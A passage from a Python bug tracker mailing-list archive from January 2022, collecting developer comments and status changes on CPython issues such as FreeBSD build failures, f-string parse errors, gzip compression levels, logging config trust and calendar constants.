<1641328272.59.0.935411717604.issue46260@roundup.psfhosted.org> Message-ID: <1641338271.52.0.924869755586.issue46260@roundup.psfhosted.org> Eric V. Smith added the comment: Simpler reproducer: >>> f"{foo)" File "", line 1 f"{foo)" ^ SyntaxError: f-string: unmatched ')' I assume this is the same error as: >>> foo) File "", line 1 foo) ^ SyntaxError: unmatched ')' But I don't yet understand why it's choosing to parse that expression fragment. I'm working on it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 18:20:09 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 04 Jan 2022 23:20:09 +0000 Subject: [issue20854] multiprocessing.managers.Server: problem with returning proxy of registered object In-Reply-To: <1394035410.32.0.813669524051.issue20854@psf.upfronthosting.co.za> Message-ID: <1641338409.53.0.250524014001.issue20854@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 18:21:50 2022 From: report at bugs.python.org (Chris Satterlee) Date: Tue, 04 Jan 2022 23:21:50 +0000 Subject: [issue44828] tkinter.filedialog linked with Tk 8.6.11 crashes on macOS 12 Monterey, breaking IDLE saves In-Reply-To: <1628076093.82.0.287740145135.issue44828@roundup.psfhosted.org> Message-ID: <1641338510.05.0.533088769858.issue44828@roundup.psfhosted.org> Chris Satterlee added the comment: FYI, it appears that 8.6.11 works ok with MacOS 12.1 (released on 13-Dec-2021). 8.6.12 also works with MacOS 12.1. I have not tested either extensively, however. ---------- nosy: +csatt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 18:40:03 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 23:40:03 +0000 Subject: [issue43683] Handle generator (and coroutine) state in the bytecode. In-Reply-To: <1617209103.34.0.926095267338.issue43683@roundup.psfhosted.org> Message-ID: <1641339603.71.0.31615835604.issue43683@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Is there anything left here? ---------- priority: release blocker -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 18:45:25 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 04 Jan 2022 23:45:25 +0000 Subject: [issue46236] PyFunction_GetAnnotations returning Tuple vs Dict In-Reply-To: <1641179765.03.0.33069763826.issue46236@roundup.psfhosted.org> Message-ID: <1641339925.37.0.783203640089.issue46236@roundup.psfhosted.org> Dennis Sweeney added the comment: Pablo, should this be a release blocker? ---------- nosy: +Dennis Sweeney, pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 19:02:44 2022 From: report at bugs.python.org (Ned Deily) Date: Wed, 05 Jan 2022 00:02:44 +0000 Subject: [issue46263] FreeBSL buiildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641340964.98.0.589927550228.issue46263@roundup.psfhosted.org> Ned Deily added the comment: Not to point out the obvious but this buildbot uses --enable-shared which is often a source of build / bootstrap issues, such as the compiler executable being built ends up dynamically loading a libpython from a previous installation or build. ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 19:11:10 2022 From: report at bugs.python.org (Ethan Furman) Date: Wed, 05 Jan 2022 00:11:10 +0000 Subject: [issue46262] Enum tests: Error path in `_missing_()` is not covered for `Flag` and `IntFlag` In-Reply-To: <1641335789.45.0.29399399406.issue46262@roundup.psfhosted.org> Message-ID: <1641341470.01.0.146705815737.issue46262@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 91bc6f9615eabb10090e2e4f0fe5913885a29c8c by Nikita Sobolev in branch 'main': bpo-46262: [Enum] test error path in `Flag._missing_` (GH-30408) https://github.com/python/cpython/commit/91bc6f9615eabb10090e2e4f0fe5913885a29c8c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 19:12:08 2022 From: report at bugs.python.org (Ethan Furman) Date: Wed, 05 Jan 2022 00:12:08 +0000 Subject: [issue46262] Enum tests: Error path in `_missing_()` is not covered for `Flag` and `IntFlag` In-Reply-To: <1641335789.45.0.29399399406.issue46262@roundup.psfhosted.org> Message-ID: <1641341528.64.0.193718677182.issue46262@roundup.psfhosted.org> Change by Ethan Furman : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 19:18:07 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 05 Jan 2022 00:18:07 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641341887.53.0.684671329754.issue46263@roundup.psfhosted.org> Change by Guido van Rossum : ---------- title: FreeBSL buiildbots cannot compile Python -> FreeBSD buildbots cannot compile Python _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 19:36:28 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 05 Jan 2022 00:36:28 +0000 Subject: [issue46236] PyFunction_GetAnnotations returning Tuple vs Dict In-Reply-To: <1641179765.03.0.33069763826.issue46236@roundup.psfhosted.org> Message-ID: <1641342988.09.0.124435366821.issue46236@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Yeah, the docs mention explicitly that is a dictionary or NULL. ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 19:37:03 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 05 Jan 2022 00:37:03 +0000 Subject: [issue46236] PyFunction_GetAnnotations returning Tuple vs Dict In-Reply-To: <1641179765.03.0.33069763826.issue46236@roundup.psfhosted.org> Message-ID: <1641343023.02.0.522793116483.issue46236@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 19:38:08 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 05 Jan 2022 00:38:08 +0000 Subject: [issue46236] PyFunction_GetAnnotations returning Tuple vs Dict In-Reply-To: <1641179765.03.0.33069763826.issue46236@roundup.psfhosted.org> Message-ID: <1641343088.69.0.812000479542.issue46236@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I am quite sure this is due to PR 23316 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 20:17:42 2022 From: report at bugs.python.org (Inada Naoki) Date: Wed, 05 Jan 2022 01:17:42 +0000 Subject: [issue46236] PyFunction_GetAnnotations returning Tuple vs Dict In-Reply-To: <1641179765.03.0.33069763826.issue46236@roundup.psfhosted.org> Message-ID: <1641345462.38.0.891969879842.issue46236@roundup.psfhosted.org> Change by Inada Naoki : ---------- keywords: +patch pull_requests: +28615 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30409 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 20:41:38 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Wed, 05 Jan 2022 01:41:38 +0000 Subject: [issue44024] Improve the TypeError message for non-string second arguments passed to the built-in functions getattr and hasattr In-Reply-To: <1620082244.42.0.641033791104.issue44024@roundup.psfhosted.org> Message-ID: <1641346898.06.0.846763713424.issue44024@roundup.psfhosted.org> Change by ?ric Araujo : ---------- type: behavior -> enhancement versions: -Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 20:45:24 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 Jan 2022 01:45:24 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641347124.42.0.885048775169.issue46263@roundup.psfhosted.org> Christian Heimes added the comment: On my FreeBSD 13 VM the sysconfig data module is build/lib.freebsd-13.0-RELEASE-amd64-3.11-pydebug/_sysconfigdata_d_freebsd13_.py It does not have any multiarch suffix. The multiarch suffix is detected by configure.ac. Did FreeBSD 14.0's CC get support for "cc --print-multiarch"? I found a related FreeBSD bug https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=258377 ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 20:59:50 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 Jan 2022 01:59:50 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641347990.97.0.506396620004.issue46263@roundup.psfhosted.org> Change by Christian Heimes : ---------- keywords: +patch pull_requests: +28616 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30410 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 21:46:49 2022 From: report at bugs.python.org (Ned Deily) Date: Wed, 05 Jan 2022 02:46:49 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641350809.64.0.6593065917.issue46251@roundup.psfhosted.org> Change by Ned Deily : ---------- nosy: +vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 22:06:14 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Wed, 05 Jan 2022 03:06:14 +0000 Subject: [issue32642] add support for path-like objects in sys.path In-Reply-To: <1516771632.94.0.467229070634.issue32642@psf.upfronthosting.co.za> Message-ID: <1641351974.11.0.123710107806.issue32642@roundup.psfhosted.org> ?ric Araujo added the comment: I?m not an import expert but would have misgivings about having fancy types in sys.path too! It seems so fundamental, and used from C and Python, with a simple interface of a direct list (plus importers and finders etc), that I would understand it pure strings were required and not Paths (and not all path-likes). ---------- nosy: +eric.araujo versions: +Python 3.11 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 22:43:54 2022 From: report at bugs.python.org (Frank Feuerbacher) Date: Wed, 05 Jan 2022 03:43:54 +0000 Subject: [issue46264] 'I'.lower() should give non dotted i for LANG=tr_TR Message-ID: <1641354234.77.0.411418528996.issue46264@roundup.psfhosted.org> New submission from Frank Feuerbacher : This blasted Turkish I will be the death of us all... https://www.unicode.org/versions/Unicode14.0.0/ch05.pdf has a lovely graphic on page 238 of the behavior of upper/lower casing of the various I's and when locale is Turkish or not. It seems that Python 3.9.5 is broken, and I see no evidence that version 10 has fixed it. Basically, U-0049 (I) should lower case to U-131 (?) and vice-versa, when locale is tr_TR. The rules are different for other locales. ---------- files: foo.py messages: 409733 nosy: fbacher priority: normal severity: normal status: open title: 'I'.lower() should give non dotted i for LANG=tr_TR versions: Python 3.9 Added file: https://bugs.python.org/file50541/foo.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 02:35:11 2022 From: report at bugs.python.org (Vinay Sajip) Date: Wed, 05 Jan 2022 07:35:11 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641368111.02.0.689298173409.issue46251@roundup.psfhosted.org> Vinay Sajip added the comment: > "Dont load untrusted config files" is the answer I expected. Yes. It's the usual convenience vs. security trade-off. To make configuration convenient, configurable factories with configurable parameters are provided. Can this be misused? Of course. Digital signing has its place where auditability and accountability are important, but it would normally only be used in production where configuration changes are subject to a strict process with signoffs. There could definitely be stronger warnings in the documentation about trust and configurations. > Is it reasonable to say that all classes by _resolve() and resolve() should have "logger." at the top of them? If not perhaps the object could have a permitted list of top level packages that defaults to just "logger." but could be extended to others by the developer. I would think that's going too far, and perhaps it only moves the problem. In any case, dictConfig has a mechanism using the "()" key which allows any callable, not just a class. This is for a not uncommon use case where the callable is a function that returns a logging object (handler/formatter/filter) that has been tweaked in some way. But that feature can of course also be used with untrusted inputs to produce surprises. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 03:07:18 2022 From: report at bugs.python.org (Jeffery To) Date: Wed, 05 Jan 2022 08:07:18 +0000 Subject: [issue46265] Error when cross compiling for hardfloat MIPS Message-ID: <1641370038.04.0.916167704495.issue46265@roundup.psfhosted.org> New submission from Jeffery To : The Python package for OpenWrt was updated to 3.10 recently and we found that builds are failing for MIPS 24Kf (original report at https://github.com/openwrt/packages/issues/17217): mipsel_24kc+24kf_gcc-11.2.0_musl/lib -znow -zrelro -L/builder/shared-workdir/build/sdk/build_dir/target-mipsel_24kc+24kf_musl/Python-3.10.0 -L/builder/shared-workdir/build/sdk/staging_dir/target-mipsel_24kc+24kf_musl/usr/lib -L/builder/shared-workdir/build/sdk/staging_dir/target-mipsel_24kc+24kf_musl/lib -fno-semantic-interposition -fprofile-generate -Xlinker -export-dynamic -o python Programs/python.o -L. -lpython3.10 -ldl -lpthread -lm -lz -lm /builder/shared-workdir/build/sdk/staging_dir/toolchain-mipsel_24kc+24kf_gcc-11.2.0_musl/bin/../lib/gcc/mipsel-openwrt-linux-musl/11.2.0/../../../../mipsel-openwrt-linux-musl/bin/ld: /builder/shared-workdir/build/sdk/build_dir/target-mipsel_24kc+24kf_musl/Python-3.10.0/libpython3.10.so: undefined reference to `__fn_local_PyFloat_FromDouble.localalias' collect2: error: ld returned 1 exit status make[7]: *** [Makefile:602: python] Error 1 This error is only occurring for mipsel_24kc+24kf and not our other mips targets (none of which have an FPU). I found that compilation will succeed if I disable optimizations or patch out the use of -fno-semantic-interposition, though I'm still not sure what is the exact cause of the error. ---------- components: Build messages: 409735 nosy: jefferyto priority: normal severity: normal status: open title: Error when cross compiling for hardfloat MIPS type: compile error versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 03:55:59 2022 From: report at bugs.python.org (Vinay Sajip) Date: Wed, 05 Jan 2022 08:55:59 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641372959.02.0.716176982617.issue46251@roundup.psfhosted.org> Change by Vinay Sajip : ---------- keywords: +patch pull_requests: +28617 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30411 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 03:57:33 2022 From: report at bugs.python.org (Vinay Sajip) Date: Wed, 05 Jan 2022 08:57:33 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641373053.92.0.177218040776.issue46251@roundup.psfhosted.org> Vinay Sajip added the comment: I've created a PR to add a "Security Considerations" section in the configuration documentation. Comments on the PR are welcome. ---------- stage: patch review -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:02:03 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 05 Jan 2022 09:02:03 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641373323.68.0.127322969744.issue46110@roundup.psfhosted.org> STINNER Victor added the comment: If the issue is about how pyperformance creates its virtual environment (how setuptools is installed), I suggest to continue discussion the issue in pyperformance: https://github.com/python/pyperformance/issues/ ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:09:29 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 05 Jan 2022 09:09:29 +0000 Subject: [issue46142] python --help output is too long In-Reply-To: <1640043795.98.0.690443918792.issue46142@roundup.psfhosted.org> Message-ID: <1641373769.87.0.158129278084.issue46142@roundup.psfhosted.org> STINNER Victor added the comment: initconfig.c parses all -X options. preconfig.c also checks for a few specific -X options which are also checked in initconfig.c. My notes on parsing command line options: https://pythondev.readthedocs.io/pyconfig.html#add-a-new-command-line-option ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:18:41 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 05 Jan 2022 09:18:41 +0000 Subject: [issue46178] Remove `.travis.yml`? In-Reply-To: <1640511273.57.0.0109670921395.issue46178@roundup.psfhosted.org> Message-ID: <1641374321.57.0.939838001273.issue46178@roundup.psfhosted.org> STINNER Victor added the comment: I had so many troubles with Travis CI. I'm happy that GitHub Actions is more reliable and that Travis CI is gone. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:19:38 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 05 Jan 2022 09:19:38 +0000 Subject: [issue46205] Race condition in runtest_mp leads to hangs (never exits) In-Reply-To: <1640884373.19.0.652074258131.issue46205@roundup.psfhosted.org> Message-ID: <1641374378.69.0.472213410123.issue46205@roundup.psfhosted.org> STINNER Victor added the comment: Do you want to work on a fix? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:19:50 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 05 Jan 2022 09:19:50 +0000 Subject: [issue46205] test.libregrtest: Race condition in runtest_mp leads to hangs (never exits) In-Reply-To: <1640884373.19.0.652074258131.issue46205@roundup.psfhosted.org> Message-ID: <1641374390.05.0.736365574918.issue46205@roundup.psfhosted.org> Change by STINNER Victor : ---------- components: +Tests title: Race condition in runtest_mp leads to hangs (never exits) -> test.libregrtest: Race condition in runtest_mp leads to hangs (never exits) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:33:07 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 Jan 2022 09:33:07 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641375187.67.0.200901021104.issue46263@roundup.psfhosted.org> Christian Heimes added the comment: I have tested my PR on a FreeBSD VM. Python fails to compile on main and builds correctly with my patch. ---------- components: +Build versions: +Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:38:22 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 05 Jan 2022 09:38:22 +0000 Subject: [issue46266] Improve day constants (`MONDAY` ... `SUNDAY`) in `calendar.py` Message-ID: <1641375502.02.0.241699757209.issue46266@roundup.psfhosted.org> New submission from Nikita Sobolev : For some reasons useful day constants (`MONDAY` ... `SUNDAY`) from `calendar` are not properly recognised. Several problems: 0. Not all code inside uses these constants 1. They are not tested. Only `.MONDAY` and `.SUNDAY` are tested to be present in https://github.com/python/cpython/blob/main/Lib/test/test_calendar.py#L508-L511 2. They are not in `__all__` 3. They are partially documented. There are some notes about them in https://docs.python.org/3/library/calendar.html#calendar.setfirstweekday > Sets the weekday (0 is Monday, 6 is Sunday) to start each week. The values :const:`MONDAY`, :const:`TUESDAY`, :const:`WEDNESDAY`, :const:`THURSDAY`, :const:`FRIDAY`, :const:`SATURDAY`, and :const:`SUNDAY` are provided for convenience. For example, to set the first weekday to Sunday: > import calendar > calendar.setfirstweekday(calendar.SUNDAY) But, they are not clickable, because, for example, ":const:`MONDAY`" does not exist in docs index. So, my plan is: 0. Improve constant usage in the source code to make it more readable 1. Test that constants are there 2. Add them to `__all__` as a part of public API 3. Improve their docs ---------- components: Library (Lib) messages: 409742 nosy: sobolevn priority: normal severity: normal status: open title: Improve day constants (`MONDAY` ... `SUNDAY`) in `calendar.py` type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:52:26 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 05 Jan 2022 09:52:26 +0000 Subject: [issue46266] Improve day constants (`MONDAY` ... `SUNDAY`) in `calendar.py` In-Reply-To: <1641375502.02.0.241699757209.issue46266@roundup.psfhosted.org> Message-ID: <1641376346.93.0.630341356987.issue46266@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28618 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30412 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:53:21 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 Jan 2022 09:53:21 +0000 Subject: [issue46264] 'I'.lower() should give non dotted i for LANG=tr_TR In-Reply-To: <1641354234.77.0.411418528996.issue46264@roundup.psfhosted.org> Message-ID: <1641376401.52.0.93455113619.issue46264@roundup.psfhosted.org> Christian Heimes added the comment: Python's stdlib does not support locale aware unicode transformations. I recommend that you check out https://pypi.org/project/PyICU . ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:54:25 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 Jan 2022 09:54:25 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641376465.45.0.888673209807.issue46263@roundup.psfhosted.org> Christian Heimes added the comment: New changeset cae55542d23e606dde9819d5dadd7430085fcc77 by Christian Heimes in branch 'main': bpo-46263: Don't use MULTIARCH on FreeBSD (#30410) https://github.com/python/cpython/commit/cae55542d23e606dde9819d5dadd7430085fcc77 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:54:28 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 05 Jan 2022 09:54:28 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641376468.17.0.706691103559.issue46263@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +28619 pull_request: https://github.com/python/cpython/pull/30413 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:54:33 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 05 Jan 2022 09:54:33 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641376473.76.0.514713086263.issue46263@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28620 pull_request: https://github.com/python/cpython/pull/30414 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:56:44 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 05 Jan 2022 09:56:44 +0000 Subject: [issue44024] Improve the TypeError message for non-string second arguments passed to the built-in functions getattr and hasattr In-Reply-To: <1620082244.42.0.641033791104.issue44024@roundup.psfhosted.org> Message-ID: <1641376604.81.0.59422554529.issue44024@roundup.psfhosted.org> Serhiy Storchaka added the comment: Good point. That code was originally added in issue420304 because every exception raised in PyObject_GetAttr() (including a TypeError for non-string name) was silenced in hasattr() and 3-argument getattr(). It was changed in Python 3, so this code duplication is no longer needed. The name of the function was added in error messages in a9b9c9fa9fe9d1ae74ba9f89c43557a7f9bc04f5. Now it will gone. It is a minor regression, but I think that it is fine. Not all error messages contain a function name. In this case the context is clear from the traceback, and the error is not specific to these two functions, setattr() and delattr() raise the same error. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:58:41 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 Jan 2022 09:58:41 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641376721.25.0.922631520448.issue46263@roundup.psfhosted.org> Change by Christian Heimes : ---------- priority: release blocker -> normal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 05:17:45 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 05 Jan 2022 10:17:45 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641377865.61.0.668220755064.issue46263@roundup.psfhosted.org> miss-islington added the comment: New changeset 7e951f356ec76a5a5fdb851d71df5d120014bf3f by Miss Islington (bot) in branch '3.10': bpo-46263: Don't use MULTIARCH on FreeBSD (GH-30410) https://github.com/python/cpython/commit/7e951f356ec76a5a5fdb851d71df5d120014bf3f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 05:20:13 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 05 Jan 2022 10:20:13 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641378013.14.0.0680457090319.issue46263@roundup.psfhosted.org> miss-islington added the comment: New changeset 64199e9235275a795097ee0c53b2c560e21c70d0 by Miss Islington (bot) in branch '3.9': bpo-46263: Don't use MULTIARCH on FreeBSD (GH-30410) https://github.com/python/cpython/commit/64199e9235275a795097ee0c53b2c560e21c70d0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 05:35:25 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 05 Jan 2022 10:35:25 +0000 Subject: [issue34178] test_tcl fails on the 3.7 branch In-Reply-To: <1532161495.01.0.56676864532.issue34178@psf.upfronthosting.co.za> Message-ID: <1641378925.8.0.114260973887.issue34178@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 06:01:40 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 05 Jan 2022 11:01:40 +0000 Subject: [issue34178] test_tcl fails on the 3.7 branch In-Reply-To: <1532161495.01.0.56676864532.issue34178@psf.upfronthosting.co.za> Message-ID: <1641380500.84.0.101575679075.issue34178@roundup.psfhosted.org> Serhiy Storchaka added the comment: It was a bug fix. msg320663 states that that issue needs a more complex fix than provided by the initial patch. And that more complex fix was applied. It looks to me that this issue is caused by running new tests with old stdlib. Tests caught a bug in an unfixed code, as expected. ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 06:12:24 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 05 Jan 2022 11:12:24 +0000 Subject: [issue44525] Implement CALL_FUNCTION adaptive interpreter optimizations In-Reply-To: <1624890138.2.0.824780513801.issue44525@roundup.psfhosted.org> Message-ID: <1641381144.41.0.0597003909466.issue44525@roundup.psfhosted.org> Change by Mark Shannon : ---------- pull_requests: +28621 pull_request: https://github.com/python/cpython/pull/30415 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 06:14:04 2022 From: report at bugs.python.org (Ruben Vorderman) Date: Wed, 05 Jan 2022 11:14:04 +0000 Subject: [issue46267] gzip.compress incorrectly ignores level parameter Message-ID: <1641381244.64.0.268434919386.issue46267@roundup.psfhosted.org> New submission from Ruben Vorderman : def compress(data, compresslevel=_COMPRESS_LEVEL_BEST, *, mtime=None): """Compress data in one shot and return the compressed string. compresslevel sets the compression level in range of 0-9. mtime can be used to set the modification time. The modification time is set to the current time by default. """ if mtime == 0: # Use zlib as it creates the header with 0 mtime by default. # This is faster and with less overhead. return zlib.compress(data, level=compresslevel, wbits=31) header = _create_simple_gzip_header(compresslevel, mtime) trailer = struct.pack(" _______________________________________ From report at bugs.python.org Wed Jan 5 06:16:13 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 05 Jan 2022 11:16:13 +0000 Subject: [issue46264] 'I'.lower() should give non dotted i for LANG=tr_TR In-Reply-To: <1641354234.77.0.411418528996.issue46264@roundup.psfhosted.org> Message-ID: <1641381373.14.0.15170791267.issue46264@roundup.psfhosted.org> Serhiy Storchaka added the comment: If you are looking for case-insensitive string comparison, look at locale.strcoll() and locale.strxfrm(). They are locale-aware. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 06:17:48 2022 From: report at bugs.python.org (Ruben Vorderman) Date: Wed, 05 Jan 2022 11:17:48 +0000 Subject: [issue46267] gzip.compress incorrectly ignores level parameter In-Reply-To: <1641381244.64.0.268434919386.issue46267@roundup.psfhosted.org> Message-ID: <1641381468.12.0.271153492734.issue46267@roundup.psfhosted.org> Change by Ruben Vorderman : ---------- keywords: +patch pull_requests: +28622 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30416 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 06:19:21 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 05 Jan 2022 11:19:21 +0000 Subject: [issue43683] Handle generator (and coroutine) state in the bytecode. In-Reply-To: <1617209103.34.0.926095267338.issue43683@roundup.psfhosted.org> Message-ID: <1641381561.75.0.854678204815.issue43683@roundup.psfhosted.org> Mark Shannon added the comment: Yes, most of it :) We haven't implemented points 2 and 3, yet. I'm in no hurry to implement 3. It would clean up `gen.throw` a lot, and break the dependency between that code and the interpreter, but it isn't urgent. 2 is more urgent. I think we need it to allow specialization of `FOR_ITER` for generators, so it should happen in the next few weeks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 06:22:26 2022 From: report at bugs.python.org (Simon McVittie) Date: Wed, 05 Jan 2022 11:22:26 +0000 Subject: [issue43137] webbrowser to support "gio open " In-Reply-To: <1612527994.14.0.364284995735.issue43137@roundup.psfhosted.org> Message-ID: <1641381746.32.0.47482904223.issue43137@roundup.psfhosted.org> Change by Simon McVittie : ---------- keywords: +patch pull_requests: +28623 pull_request: https://github.com/python/cpython/pull/30417 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 